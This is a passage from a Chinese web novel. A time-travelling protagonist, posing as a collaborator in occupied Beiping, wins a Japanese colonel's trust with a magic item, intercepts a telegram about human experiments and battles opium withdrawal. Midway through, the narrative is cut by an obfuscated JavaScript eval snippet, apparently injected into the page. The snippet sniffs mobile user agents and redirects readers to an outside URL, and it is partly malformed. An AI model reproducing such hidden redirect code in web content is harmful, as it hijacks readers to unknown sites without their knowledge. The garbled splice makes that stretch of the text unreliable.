平川大佐假意阻止了一下,却根本没有使多大的力气,沈听肆的那一脚落下后,温承松顿时发出了一声痛苦的闷哼,随即整个身子弓了起来,像是一只煮熟的虾子一般。 随后,平川大佐有些自责的开口,“实在是抱歉,是我没有拦住傅君,让你受委屈了。” 但这话里面究竟有几分真心,恐怕就只有平川大佐自己知道了。 温承松的脸上恢复了些许的血色,他自嘲般的冷笑了一声,“还真是难为你关心我。” 平川大佐并没有因为他的冷嘲热讽而感到生气,反而是继续十分温柔的劝说着,“虽然我不知道你叫什么名字,在夏国的身份又是什么,但似乎好像你也是傅君的学生吧?” “作为你们夏国人中最为出色的老师,他都已经弃暗投明选择了归顺我们东瀛,不知我今日是否荣幸也能看到你做出这样的选择呢?” 温承松一口血沫吐了出来,若不是平川大佐躲得快,直接喷到他的脸上了,“你休想!做梦!” 平川大佐的脸顿时就黑了下来,几乎快要维持不住那分温和的表情。 他略带嫌弃和厌恶的后退了两步,然后才对沈听肆开口,“傅君,不要忘了我交代你的事情。” 说完这话,他便急匆匆的转身离开了。 沈听肆注视着平川大佐渐行渐远的背影,陷入到了沉思当中。 原主当时其实也经历了这么一遭。 但是因为这个地方并没有什么监控,毕竟在这种关押着重刑犯的舰舱里面,每个人或多或少的都会对犯人做些什么事情,只要不是太过分的,长官们都会睁一只眼闭一只眼的放过去。 再加上原主也不知道平川大佐一直在暗中观察着,所以他在初次见到温承松不仅被锁了起来,身上还全部都是用刑后留下的伤口,甚至还被强迫的注射了许多大烟的针孔的时候,伪装出来的情绪瞬间就有些崩了。 毕竟他自己就是吸食了大烟,才获取了东瀛人的信任的,他对于这些大烟的副作用再清楚不过了。 而温承松和其他的学生们竟然被注射进了那么多浓度不同,效果也不尽相同的大烟。 这几乎是完全可以彻底的摧毁他的理智和精神! 原主之所以敢抛下一切正大光明的叛变,来到东瀛这边,就是笃定他的学生们可以继续做他未曾完成的事情。 可他才刚刚获得了平川大佐的信任,没多久都还没有探寻到多少有用的信息,被他寄予厚望的学生温承松竟然就被抓了过来,甚至还差点被废! 原主虽然也只是崩溃了那么一小会儿的时间,可时刻观察着他的平川上校还是将他的表现都看在了眼里。 原本就没有多少的信任,再次变得岌岌可危了起来。 沈听肆对于温承松和另外一个学生的这一番暴揍,就算没有彻底的安了平川上校的心,但信任度终究还是加深了的。 要不然对方也不会就此而离开。 此时,在这个小小的监牢里,没有了监视,也没有了其他旁人的存在,只剩下昔日里一群志同道合的师徒们,满怀警惕地互相试探。 沈听肆将手里那个烧的通红的烙铁收拾了起来,又将跌倒在地的另外一名男同学搀扶了起来。 他沉默地做着这些,并没有说话,可温承松却在一旁冷笑一声,“曾经我最最敬重的先生,如今却做着这般是个人都能做的事情。” “傅青隐,你满意你现在的生活吗?” 听着这人颇有怨言的话语,沈听肆悠悠的叹了一声,“子非鱼,又安知鱼之乐?” “好一个子非鱼安知鱼之乐,”温承松满脸的嘲讽,“那你就在这里苟且偷生吧。” 沈听肆冷不丁的来了一句,“难不成要像你一样的,被抓起来,被注射进大烟,然后人不人鬼不鬼的活着吗?” 温承松怔住了,仿佛是有些没有明白他说的是什么意思,“什么叫做注射大烟?” 在他的印象里面,大烟好像只是用来吸食的,吸食了大烟以后会变得身体乏力,浑身懒惰不堪,而且这玩意儿上瘾,一旦吸过以后,就再也戒不掉了。 可什么时候大烟又可以注射了呢? “呵,”沈听肆发出一声叹息,“你以为东瀛人往你身体里注射的那些颜色奇怪的东西是什么?治疗你身上伤势的药吗?” “这种东西一经染上便很难戒掉,你也不想为了这种东西丑态尽出的苦苦哀求吧?” 温承松都快要傻掉了,他虽从未接触过这种东西,但却也早已知晓这东西的危害。 在夏国的人刚刚被其他国家入侵的时候,有无数的人民都在大烟的作用下掏空了身体,散尽了家财,最终变为了大烟的傀儡。 而大烟除了让人上瘾,无法自拔以外,还会逐渐的让人失去力气,行走坐立都会变得十分的困难,终日里只能躺着。 如此这般,连个枪炮都扛不起来,又何谈上战场反抗其他的入侵者呢? 若不是一位姓林的军官竭尽所能的处理了一大批上瘾大烟,恐怕现在就算他想要带着同胞们一起反抗侵略者,都连人都凑不齐。 温承松的心中出现了一阵阵的后怕,担心自己终究也会变成那样没有理智的怪物。 “你为什么要和我说这些?”温承松转念一想,又感觉沈听肆不怀好意,毕竟他不开口,由着自己在大烟的作用下,渐渐失去理智,不是更好吗? 沈听肆垂眸,淡淡地看了他一眼,就仿佛是在逗着小孩儿玩儿一般,“没有什么别的想法,只不过是想要看看你的丑态罢了,看看处处指责我的你,是否能够经得起身体的渴望呢?” 温承松愤愤不平,牙齿咬得嘎吱作响,“我绝对不会如你这般成为东瀛人的走狗!” 沈听肆点头,“那我等着。” 只不过在离开之时,沈听肆将自己的外衣脱下来盖住了温承松原本伤痕累累的身体,“看在曾经咱们师生一场的份上,就给你这个体面吧。” 温承松很想狠狠的骂回去,不要他的破衣服。 但羞耻心终究还是没有让他将这话说出口。 —— 当沈听肆走出监牢大门的时候,平川大佐已经在门口等着了,“傅君可是和你曾经的这些学生已经是叙完旧了?” 沈听肆又恢复了那种略显得唯唯诺诺的样子,“是。” “看样子傅君和这些学生全部都是认识的,听说现在组织整个北平的学生们游街抗议的带头人,就是傅君曾经最得意的学生温承松,”平川大佐干笑了几声,“不知我们抓来的这些人当中,可否有那个温承松?” 一个带头大哥自然不是这么轻而易举就能被抓到的。 但他们提前收到了间谍的通知,知道学生代表温承松想要组织一场大规模的游行示威活动。 于是他们提前蹲点,将到了那个地方的学生,全部都给抓了起来,若是他们当真抓住了温承松,那他们想要彻底的融入北平也会变得简单许多。 毕竟许许多多的夏国人都是大字不识一个,而且赤手空拳的也不知道能够做些什么来反抗他们东瀛人,更加上很多人根本就没有这个胆子。 可一旦有人带头,事情就会变得麻烦起来了,而且这些学生们写的那些文章全部都在试图唤醒麻木的夏国人。 如此行进平川大左,又怎么可能不制止呢? 只不过很可惜,沈听肆给出了否定的答案,“没有,虽然这些全部都是我曾经教授过的学生,但这当中并没有温承松。” 平川没有很失望,似乎早已料到了这样的结果。 毕竟那日抓捕的时候,没有一个人想着单独抛下同伴逃离。 哪个组织的的领头人会愚蠢到自己留下来当活靶子呢? 再加上他们给那些学生们个个都上了刑,那样严重的刑罚就是他们东瀛的武士都不一定能够忍得下来,可那些学生们却始终坚持,他们当中并没有温承松这个人。 平川大佐不认为一群没有经历过战火的洗礼的学生们,可以做到这个份上。 只不过他心中始终是存着一分怀疑的,沈听肆今日将他心底的那一份最后的怀疑也给打消了。 “既然如此,那就要傅君多费心了,”虽然这些学生当中并没有温承松,但也并不代表着他们就毫无用处了,平川大佐抬手拍了拍沈听肆的肩膀,“如果傅君能够从他的嘴里获得更多的情报,我想,一个小小的记录员的身份就已经配不上傅君了。” 二十多个学生被抓,北平大学那边定然会坐不住,而那个领头的温承松,说不定也会想方设法的将他的同伴们救出去。 这些学生他们自然是要放回去的,只不过要怎么放,什么时候放,还是他们说了算。 沈听肆立马表现出了一副很高兴的样子,“多谢大佐。” 得到肯定的回答,平川大佐便也不欲再多说什么,就要转身离开了。 但就在他离开之际,沈听肆脑海当中突然蹦出来一个想法。 【统子,我抽到的那个帝王的恩宠的道具,是不是可以用到平川的身上?】 9999直接被沈听肆问蒙了,一时之间完全不知道该做何回答,【应该是可以的吧……?】 【但是我也不太确定究竟有没有用。】 毕竟这个道具一般都是宿主的身份是帝王的宠妃的时候用的,用完以后就会获得帝王全部的宠爱和所有的信任,三千宠爱集于一身,后宫女子只她一人。 但是用到平川大佐身上的结果嘛…… 【能用就行。】沈听肆听了这话直接将道具取出来丢到了平川大佐的身上。 反正无论他再怎么做任务,也不可能成为后宫当中的一个宠妃,这个道具虽然看起来没有什么用,毕竟也是他获得了S级的评价以后才抽出来的。 无论结果如何,试上一试都是无所谓的。 就当废物利用了。 那个道具被取出来的时候,其实就是一个散发着浅黄色光芒的小光团,在被沈听肆扔出去以后就彻底的没入了平川大佐的后心处消失不见。 平川大佐离开的步伐连停顿都没有,就好像刚才那个道具从未出现。 【啊这……】9999完全摸不到头脑,【这到底有没有作用呀?】 在它这里能看得到道具已经被使用过了,可是为什么看不出来效用呢? 9999再次查看了一下道具的使用方法,随后略带迟疑的对沈听肆顺道,【宿主,这个道具叫回眸一笑百媚生,六宫粉黛无颜色,要不你回头给平川看一看?】 一时嘴快就直接把这话说了出来,看到沈听肆脸色渐渐黑下来以后9999才终于意识到自己说了些什么,【那个……宿主,如果我说我刚才只是开个玩笑,你信吗?】 沈听肆唇角勾起一抹似笑非笑,漫不经心的开口道,【你觉得呢?】 虽然看起来似乎确实是有些可笑,但也只能死马当活马医,姑且一试了。 于是,沈听肆转过身,和平川大佐后背相对,随后轻轻唤了一声,“平川大佐。” 在开口的一瞬间,沈听肆微微侧过身,露出半张脸。 平川大佐带着些许不耐烦的转过身,原本还想要斥责沈听肆,毕竟他的事情很多的,可没有那么多时间来和一个吉祥物一般的存在,搞那些虚头巴脑的东西。 可就在扭头看到沈听肆的霎那间,平川大佐感觉自己的晦暗的世界里,仿佛猛然间照进了一束光,将每一处阴暗的角落都给照亮了。 他有些控制不住的想要去亲近沈听肆,脑海当中仿佛有一道来自于世界之外的声音,在不停的告诉他:这是你最信任的人。 平川大佐感觉有些莫名其妙,可却始终无法生气,而且心中还涌现出了一股无端的开心。 他下意识的露出一张笑脸,就连说话的语气都温柔了许多,“傅君是还有什么事吗?” 沈听肆想要试一试这个信任究竟有多少,因为思索了一下后,试探着问了一句,“不知道平川大佐想要怎么处理这些被抓来的夏国学生呢?” 平川大佐不假思索的回答,“当然是要好好利用他们的身份,尽可能地把他们背后支持的红党一网打尽了。” 【他竟然真的回答了耶!】9999有些震惊,【宿主,你要不直接让平川大佐把温承松他们给放了呗。】 沈听肆顿时有些无语。 这道具只是会让平川大佐比较信任他而已,并不代表着就可以直接把平川大佐的智商拉到零了。 “这个方法很不错,”沈听肆十分赞同,转而又提起了另外一个问题,“一直都听说东瀛的科技十分高超,我也曾有幸见识过,只是来了咱们租界这么长时间,从未亲自体验过这些东西究竟是如何运用的,不知道我今日是否有这个荣幸?” “这好办,”平川大佐转身的瞬间又对着沈听肆招了招手,“正好我要去情报部门看看,你跟我一起来吧。” 平川大佐在前面带路,沈听肆亦步亦趋的跟了上去。 原主虽然来到这个租界已经有好几个月的时间了,但一直都因着信任度的原因,始终被约束着行动,除了少数的几个地方以外,那些隐藏着军事机密,或者是其他战略资源的地方,他是一直都没有资格去进入的。 沈听肆跟着平川大佐来到了一栋古色古香的小楼前,这栋小楼似乎是曾经某个封建制度时期高官修建来用来赏景的,整栋楼的周围一片平坦,就连一棵高一些的树都看不见。 这就能够保证绝对不会有人潜伏在周围打探情报。 而且楼周围还有许多的东瀛士兵在来回巡视着,以确保不会有任何一个外来闯入人员。 “大佐!”身为这块租界的最高统治者,门口的守卫在看到平川大佐的瞬间立马就将脊背挺直了起来,敬了个十分标准的军礼。 随后有两个人从队伍里走出来,一左一右地打开大门。 平川大佐趁他们点了点头,然后目不斜视地走了进去。 沈听肆自然也是跟上。 在他路过的时候,排列两队的守卫纷纷投来了注目礼礼。 毕竟一个夏国人进入这里,实在是有些太过于出人意料了。 这些守卫的等级不高,自然是没有资格去质疑平川上降的,但另外一人则不然。 松井中佐看到沈听肆的一瞬间就立马警惕了起来,“大佐,这个人……出现在这里,是不是不太好?” 这里可是整个北平租界的情报机关,通过电报都可以探查到整个区域的军事部署,万一沈听肆是假装投诚,把他们的部署泄露出去的话…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536848|170913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可平川大佐却丝毫不以为意,“没关系,我相信傅君,他只是没有见过这些东西,好奇而已。” 松井中佐:…… 夏国的下等人最狡猾了,大佐你清醒一点啊! 但奈何平川大佐根本听不见松井中佐心中的哀嚎,反而是兴致勃勃的给沈听肆介绍起了这些东西的用途。 电报机沈听肆没有见过,也不会使用,平川大佐也知道这些,所以并没有太过于遮拦,毕竟此时也并没有什么电报信息传送进来。 忽然,就在平川大佐满心欢喜的讲述着的时候,有一台电报机却突然发出了尖锐的声音。 平川大佐飞速的跑过去看,“什么信息?” 很快的,东瀛的接报员就将收到的消息给誊抄了下来。 平川大佐这个时候才意识到了身旁还有着沈听肆的存在,原本对于他满心满眼的信任顿时荡然无存,那双眼眸里面闪烁着冰冷的神色扭过头来,看着沈听肆的目光仿佛在看一个死人。 但幸好,沈听肆此时乖乖巧巧的站在原地没有动。 他站立的位置和接报员有相当一段距离,是根本看不见接报员写下来的东西的。 平川大佐这才松了一口气,将接报员誊抄下来的那张纸反手扣在桌面上,“刚才有点事情,怠慢了傅君,还请傅君不要介意。” 沈听肆轻笑着摇了摇头,“正事重要,我明白的。” 他不动声色的一一将所看到的一切都记在心里。 离开的时候还特意向平川大佐道谢,“今日我真的学到了很多东西,也长到了见识,多谢平川大佐。” 平川大佐乐呵呵的,拍手拍了拍沈听肆的肩膀,“没什么大事啦,都是一些浅显的东西而已,以后你若是还有什么其他不懂的也都可以来找我。” 沈听肆微微一笑,“如果我真的有疑问,还望大佐不吝请教。” 平川大佐不过是嘴上客套几句,话说的无比的动听,可倘若沈听肆真的提出一些什么要求的话,恐怕就要吃不了兜着走了。 “当然可以,”平川大佐挥了挥手,召来一个小兵,“安安全全的将傅君送回家里去。” 在“帝王的恩宠”这个道具的作用下,只要沈听肆没有做什么太过分的事情,平川大佐基本上还是信任他的。 若是刚才站在这里的是其他人,就算是平川大佐确定对方没有看见那张字条上面写着的东西,恐怕也绝对不会就这样轻而易举的让离开了。 “多谢,”沈听肆轻轻笑了笑,随即发了一张好人卡,“平川大佐您可真是一个大好人。” 被夸赞了的平川大佐感觉心里美滋滋的,“这没什么的,以后有什么需求还可以来找我。” 沈听肆乖巧应下,“好的。” 他会来找他的,只希望等到那个时候,平川大佐还能够如现在这样的……笑意盈盈。 在沈听肆离开之后,平川大佐的脸立马就垮了下来,转身就将松井中佐给骂了一顿,“你站在这里干什么?一天闲的没有事情做吗?!” 松井中佐愣怔了半晌,不知道该作何回答。 平川大佐就好似只有那么一瞬间的发疯,骂完之后,他的态度又变得和蔼了起来,“走吧,不是还有个会要开?” 松井中佐:……? 大佐难不成是吃错药了吗? 走出了这栋小楼,沈听肆就没有让那名东瀛士兵送他了,而是自己拦了一辆黄包车。 回到家里,沈听肆将房间的门从里面反锁,随后将9999给叫了出来,【我上个世界任务完成以后,是不是获得了很多积分?】 9999点开宿主的面板,应了一声,【是的,S级的评价共获得1000积分,这些积分可以在任务商城里面买任何你需要的东西。】 说完后,9999仿佛是意识到了什么一样,又急忙补充了一句,【但是只能买符合这个时代的东西哦。】 要不然的话,直接买来星际的能量炮,顷刻间就可以将这一片地方给夷为平。 【宿主,你想要买什么呀?】 9999颇有些好奇,毕竟它的这个宿主事事亲力亲为,完全不像它从前辈系统那里听来的别的宿主依靠技能。 得知沈听肆想要买东西,它还挺意外的。 【你们系统应该也算是人工智能的一种吧?】 沈听肆冷不丁的来了一句话,直接将9999吓了一大跳,【那个……这个……】 9999支支吾吾,一副不知道该如何回答的样子。 沈听肆心下了然,【不能说?】 【是,】9999点点头,【抱歉啊,宿主。】 【没事,】沈听肆对此并不在意,他只需要知道9999比这个世界的电报机要高级的多就可以,【看看系统商城里有电报机。】 【好的,我找找。】 过了一会,9999将商城界面展现在了沈听肆面前,【宿主,有的。】 沈听肆点了购买,眼前突然一片白光闪过,一个崭新的电报机,就这样凭空出现了。 他拿着电报机左右打量了一下,和刚才在东瀛人那里看到的别无二致。 只不过……新的一个问题出现了。 沈听肆他并不会用这东西。 略微思索了一下,沈听肆询问9999,【我不会用电报,你们这个东西没有说明书吗?】 【没有哎,】9999有些尴尬,【不过如果宿主想要使用的话,可以购买和它相关的技能。】 【宿主,这个民国黑客初级技能就可以。】 9999挑挑拣拣,将合适的技能展现在沈听肆面前,随后又补充道,【不过宿主想要完全拦截住东瀛人所有的电报是不可能的哦,只能拦截北平这里的,而且成功率也只有百分之五十。】 【足够了。】沈听肆对此不置可否。 若是这技能真的强大到可以拦截住夏国所有东英人传递的电报,那他岂不是可以直接破坏掉东瀛人在夏国所有的战力部署。 在这种情况下,就算夏国人缺少武器弹药,也可以很容易的战胜东瀛士兵。 那他也就没有了做这个任务的必要。 沈听肆伸手点击了购买,随着积分被扣除,一个银色的小光点随之没入了沈听肆的脑海。 庞大的技能知识让沈听肆脑袋有些发胀,他下意识的伸手揉了揉太阳穴。 他之前从未接触过这方面的东西,想要在短时间内尽可能的融会贯通,恐怕还需要下好一番功夫才行。 在沈听肆连续熬了一整个夜晚没有睡觉,眼眶里面布满红血丝的时候,9999整个统都有些麻了,【宿主,我知道你是想要快点把这个技能学会,但是你也不能这么拼啊,身体要紧!】 要知道上个世界就是因为自家宿主太拼了,差点还没到任务结束的时间就噶了,还是念羽拼尽全力才延长了三个月的寿命。 沈听肆抬起头来,露出一双因为持续熬夜而显得有些猩红吓人的眼,【没事,我已经学了个七七八八了。】 9999:…… 宿主做任务太拼命了怎么办?急……在线等。 【宿主,你真的已经很棒了!】眼看着沈听肆还要继续研究,9999拐着弯的用他的花式吹捧来阻止,【这个世界的人研究了这么久的东西,宿主只用了一个晚上就能做到这样,真的好棒呀,已经足够用了,速度快点休息休息吧。】 沈听肆也知道过犹不及,只不过是因为他刚拿到这项技能,不知不觉的就沉浸了进去。 侧头看了一眼透过窗户照进来的日光,沈听肆将电报机收好,起身准备去洗漱,可才刚刚走了两步,他的身体却陡然出现了一阵痉挛。 苍白的指节用力绷着,紧紧的抓住了桌子的边缘,这才让他没有摔倒下去。 【宿主!】9999惊叫出声,【你怎么了?!】 沈听肆冷眸扫过,【无碍。】 那个大烟的副作用不是一般的强,这具身体昨天就已经犯了一次瘾,而昨天沈听肆没有吸食大烟,单纯的硬扛了过去。 这具身体能够坚持到现在,已经相当不容易了。 沈听肆咬着牙,转身走到沙发上坐下,将一个抱枕紧紧地捏在了怀里。 不过几个呼吸间,那本就残破的身体更加的破败不堪,对于大烟的欲望和精神的克制宛若一对敌人一般争斗不休,一副不弄死对方誓不罢休的气势。 沈听肆双手紧紧的攥着,青色的血管一根一根的从苍白的皮肤上涌现出来,因为太过于用力的绷着,每一根血管都变得鼓鼓囊囊。 就仿佛是有千千万万的虫子在血管中爬过,就连那双向来古井无波的眸子,也浮现了一抹赤红。 毫无血色的脸颊更加的苍白,黄豆大小的汗珠颗颗滚落。 9999在一旁干着急,却什么忙也帮不上。 戒断反应,只能靠沈听肆自己挺过去。 他垂头靠坐在那里,紧闭着双眸,一言不发。 仿佛是一块被打碎了的美玉,孤寂又凄凉。 9999感觉仿佛是过了一个世纪那么长,沈听肆紧阖的眸子才终于睁开眼,它那带着些许机械音的嗓音中染上了一抹哭腔,【宿主,你吓死我了,呜呜呜……】 沈听肆挤出一抹淡淡的笑,【没事了。】 烟瘾上来的时候身体会十分难受,会控制不住的,想要将那大烟吸食到自己的身体里去。 可一旦挺过了这段时间,那么对于这药剂的瘾就会越来越小,直至最后彻底的消失不见。 沈听肆苍白的脸色逐渐的恢复了一些红润,只不过那身体却依旧消瘦。 他坐在沙发上缓了一会,随后起身去洗漱,强撑着精神,将早饭吃完才躺回了床上去。 身体已经很弱了,不吃饭可不行。 这一睡,就直接睡到了下午,等沈听肆再次睁眼的时候,暖黄色的夕阳洒落,将半边天空都染成了橘色。 世界兜兜转转,阳光依旧灿烂,这满目疮痍的大地,和高高悬挂在天空的日头没有半分联系。 它始终那样散发着自己的光芒,努力的照亮着每一个角落里的黑暗。 睡了一觉,身上那种难受的感觉少了很多,沈听肆再次坐在了桌子前。 平川大佐以为他没有看到那名接线员在纸上写的那些东西,可实际上,沈听肆趁所有人都凑上前没有注意他的时候,踮起脚尖儿看了一眼。 并且将那名接线员写的东西牢牢记在了脑子里。 钢笔的笔尖划过雪白的纸片,慢慢的将那接线员写的东西全部都翻译成了文字: 「活体研究有进展,夏国猪不够了,尽早安排送过来。」 9999瞬间变了腔调,【这简直就是丧心病狂!】 【他们竟然拿活人做研究!!!】 4. 第 4 章 青白病弱的面孔,隐藏在一片阴影中晦涩莫名。 沈听肆长久的没有说话。 风好似也静了下来,整个房间寂静的有些可怕。 在一片安静中,9999心中都莫名的浮现了一缕寒意,总觉得眼前的宿主有些不太对劲,可要是说出究竟哪里不对劲,它又说不出来。 9999努力的活跃着气氛,【没事的,宿主,我们既然已经知道了这件事情就可以想办法给它破坏掉,一定会有办法的。】 沈听肆却突然发出了一声轻笑。 他缓缓抬起头来,看着屋外明媚的阳光,那双一向宛若琉璃一般的眸子却冰冷如寒冬,其中夹杂着9999看不懂的深沉。 9999小心翼翼的试探,【宿主,你还好吗?】 它真的怀疑它的宿主下一秒就要吃人。 可此时的沈听肆却突然弯起眉眼笑了笑,恍若寒冰碎裂,春暖花开,“自然是没事的。” 9999:…… 越发觉得渗人了,怎么办? 9999始终不放心沈听肆,一天二十四小时都在观察着对方的一举一动,可沈听肆却完全像是个没事人一样。 沈听肆就如原主那般的无所事事,每日里东逛逛,西转转,在时不时的到赌坊里面去赚点大洋,日子过得仿佛既悠闲又惬意。 如果没有因为戒断反应而难受无比的话。 但是没关系,沈听肆能忍。 万事万物,此间欲望,忍忍也就过去了。 当然,除了这些以外,他还做了另外一件事情。 那就是写文章。 事情的起因还得是从沈听肆刚刚穿来时给了两块大洋的那名男童说起。 那是破译出东瀛人缺少活体研究电报的第三日。 这种做活体研究的地方一定是十分隐蔽的,沈听肆也不知道究竟在哪里,而且这种机密也不是他想打听就可以打听出来的。 沈听肆只能先将这件事情压在心底,看看能不能有什么别的解决方法。 那天他如同往常一样的去赌/博,为了能够持续性的薅羊毛,沈听肆没有在如同穿来的第一天那样一次性赢了大批的大洋。 而是输的次数多,赢的次数少。 虽然如此,但是将所有的大洋加在一块,终究还是赢了的。 只不过是旁人都未曾注意到罢了。 沈听肆小赚一笔,离开赌坊的时候,意外再次碰到了那个男童。 男童看到沈听肆很惊喜,蹦蹦跳跳的走过来,“大爷。” 沈听肆揉了揉他有些干枯毛躁的头发,“最近过得怎么样?” “比之前好太多了,”男童笑着点头,“自从大爷您让赌坊的人拦着我爹不让进去以后,我爹就不赌了,但是又迷上了喝酒,只不过喝酒花不了多少钱,我和我娘现在都能吃饱饭了。” 虽然他爹还是一如既往的讨厌,经常抢了他和娘好不容易攒下来的钱去买酒喝。 但是比起在赌坊输到要把他这个儿子都给卖了去换赌资,喝酒就真的算不上什么大事了。 他经常在这附近卖报,但是之前都没有碰到过帮助了他的大爷,他一直想要报答沈听肆来着。 如今好不容易遇上了,男童自然是不会放过这个千载难逢的好机会的。 男童站得板板正正的,身上的衣裳虽然破,但却洗的很干净,露在外头的脚趾头缝里面也没有泥。 因为长年累月的在外头卖报纸,风吹日晒的,男童的一张脸晒得格外的黑,他笑起来的时候,趁着那口牙白的仿佛是刚刚做出来的新鲜豆腐一样,“大爷,你可以叫我小柱子。” 他说着这话,将自己的一双手在衣服上擦了又擦,然后从一台报纸的中央取出了一份崭新的,没有丝毫折痕的报纸,双手捧着递给了沈听肆。 沈听肆接过,随后掏出一枚大洋准备给他,可小柱子却连连摆手拒绝,“不要钱的,送给大爷。” “而且这一份报纸根本卖不了一个大洋,我知道大爷是想要帮助我。”小柱子抬着头脑袋,那双宛若黑葡萄一样的眼睛,直勾勾的盯沈听肆。 那里面有坚定,有向往,却唯独没有对生活的绝望。 随即他弯着眼睛笑了起来,小小的眉眼弯成了一新月,里面闪着细碎的光芒,“我每天卖报的钱可以养活我和我娘,不需要大爷再破费了,我就是想要送一份报纸给大爷,谢谢大爷之前的帮助。” 那两个大洋解了他的燃眉之急,让他还上了欠下的房租,还给生了病的娘抓了一副药。 现在他和娘的日子越过越好了,他娘告诉他要知恩图报,他不能因为大爷善良,就一次又一次的从大爷这里拿钱。 他有手有脚钱,他自己能赚。 八岁的男童,身上挂着破旧的布包,里面装着崭新的报纸,怀揣着对生活的希望,一本正经的拒绝了沈听肆的帮忙。 他说的话朴素至极,并没有像那些吃过洋墨水的文人一样包含着什么大道理,却无端的让沈听肆沉默了起来。 沈听肆点点头,将保纸妥善的收好,微微蹲下身子,让自己的视线和小柱子平齐,“那我也谢谢小柱子,希望你今天所有的报纸都能够卖出去。” 得到了恩人美好的祝愿,小柱子开心极了,手里挥着报纸,一蹦一跳的往外跑。 “卖报!卖报!青年日报‘下水道藏尸案’更新啦!” “大家快来买呀!” “下水道藏尸案?”沈听肆来了兴趣,就直接在路边上打开报纸看了起来。 当将报纸上面更新的内容全部看完以后,沈听肆一时之间有些无言。 现在的报纸是知道怎么样取一个爆炸性的标题吸引读者去看的。 “下水道藏尸案”这个标题一看就和破案有关,很多人都会下意识的想要去瞧一瞧究竟是什么人被杀了,而凶手又是谁。 可结果这就是一个披着杀人案件皮的情/色小说。 讲述的是一个女子和奸夫偷情,被丈夫发现,然后两个人合伙杀了丈夫,最后,将丈夫的尸体剁成一块一块的埋在下水道里的故事。 但是整个篇幅中关于女子和奸夫作案的动机和手法却少之又少,大部分讲述的都是女子和奸夫的偷情内容。 用词格外的旖旎,尺度也格外的大。 可就是这样的一部充满着情/色味道的小说,却拥有着非常好的销量。 沈听肆回家以后,让下人将最近市面上卖的比较好的报纸全部都给收集了起来。 然后开始彻夜研究。 9999一时之间又被自家宿主这种“敬业”的精神给弄无语了。 【你就不能白天的时候弄吗?!!!】 【现在是晚上,天黑了!要休息呀!】 但很可惜的是,9999的关心丝毫没有起到作用,沈听肆只觉得它吵闹,【你有没有觉得你有点吵?】 大晚上的,这么嘶吼真的很容易把耳膜给震破的。 9999委屈极了,它只不过是担心自家宿主的身体罢了,可宿主不仅不体谅他,竟然还嫌它烦。 它的命真的好苦…… 【嘤嘤嘤……】 9999说话的嗓音带着一股机械之感,当它夹着嗓子开始假装哭泣的时候,那简直宛如魔音贯耳,就算沈听肆努力的想要忽略掉9999的声音,静下心来看看报纸上面的内容。 可奈何9999本身就存在在他的脑子里,这声音根本没有办法被忽视掉。 沈听肆颇感到无奈,直接拿出杀手锏来威胁,【你再嚎一句,你信不信我不做任务了?】 9999:【……】 不带这么玩的,谁家好人发出这种威胁啊?! 可9999深知自家宿主执拗的性格,它知道,如果自己依旧如此的话,沈听肆真的很有可能会直接罢工。 最终的结果就是9999选择了妥协,【我闭嘴,我闭嘴还不行嘛……】 没有了吵闹的声音,沈听肆终于可以静下心来研究报纸了。 桌子上摆了厚厚一叠的报纸,全部都是销量数一数二的。 沈听肆翻了几个小时,将每份报纸上所有的文章全部都看了一遍。 最后得出来一个结论——当下的人喜欢看的还是各种稀奇旖旎的爱情故事。 那些歌颂国家的,试图警醒世人的内容,一般都出现在几乎没有什么销量的杂志和报纸上。 这其中除了因为现在整个北平都几乎在东营人的控制之中以外,还有一部分因素是没有什么人看。 而那些讲述家庭伦理的,情/色/艳/俗的,女妖精爱上男书生的,却格外的受世人的追捧。 一个想法渐渐的在沈听肆的脑海当中浮现。 他或许也可以通过写文章,将东营人进行活体实验这件事情,柔杂进爱卿小说当中来。 而且他需要选择一个有影响力的,销量十分好的报社去投稿。 东营人也是会看报纸的,原主曾经去过平川大佐的办公室,他办公室的桌子上面就放着很多当下十分热门的报纸。 沈听肆相信,按照平川大佐这种谨慎的性子,一旦在报纸当中看到了有关于他们所做的人体实验的隐喻,一定会安排人调查的。 等那个时候,他只需要偷偷跟着对方,说不定就可以知道人体实验的研究基地的所在地。 只不过…… 他曾经虽然写了很多的文章,却也从未写过这种小说,一时之间竟有些无从下笔。 又是一夜坐到天亮,沈听肆面前的那沓信纸上,终于落下了几个钢笔字:美貌少妇和东瀛大佐不得不说的二三事。 9999在一旁拍手称赞,【宿主,你这个标题起的还真是够吸引人。】 东瀛大佐,就差点儿指名点姓的说是平川大佐了。 沈听肆对此不置可否,只是轻轻笑了笑。 如果不如此明显,又怎么能吸引到平川大佐呢。 具体的内容慢慢构思吧,昨日盛家已经递了帖子,今天盛父盛母会带着盛子昂亲自来上门赔罪。 只不过…… 究竟是赔罪还是彻底的把人得罪死,那就仁者见仁智者见智了。 —— 沈听肆还在吃早饭的时候,就有下人人来报,说盛家来人了。 傅烆这个掌家人不在,张婉容和傅云禾又都是格外温婉腼腆的性子,沈听肆担心他们会受到欺负,三两下解决了早餐,急匆匆的赶到了前厅里去。 沈听肆到的时候,盛母正在拉着张婉容的手说话,“我家子昂,这出去两年把心都给玩野了,对于那个什么阮,其实也就是图几分新鲜而已,出国留洋的小姐太少了,子昂觉得有意思,其实啊,他对于那个什么阮根本就不喜欢,他只是现在还没有意识到。” 盛母一边说着话,一边拍着张婉容的手背,全然一副亲亲好姐妹的模样,“你放心,我以后绝对不会让那些夕阳的玩意儿再迷了子昂的眼,还是云禾更加适合做我们盛家的儿媳妇。” 在盛母看来,盛子昂这就是到了叛逆期了,想要跟着父母对着干,以此来彰显自己的能耐。 可实际上,他年纪还小什么都不懂,自以为把新鲜感当成了爱情。 盛母觉得只要盛子昂娶了傅云禾,明白了身边有一个可心人知冷知暖的日子会是什么样以后,就会把那个阮泠冉给忘了。 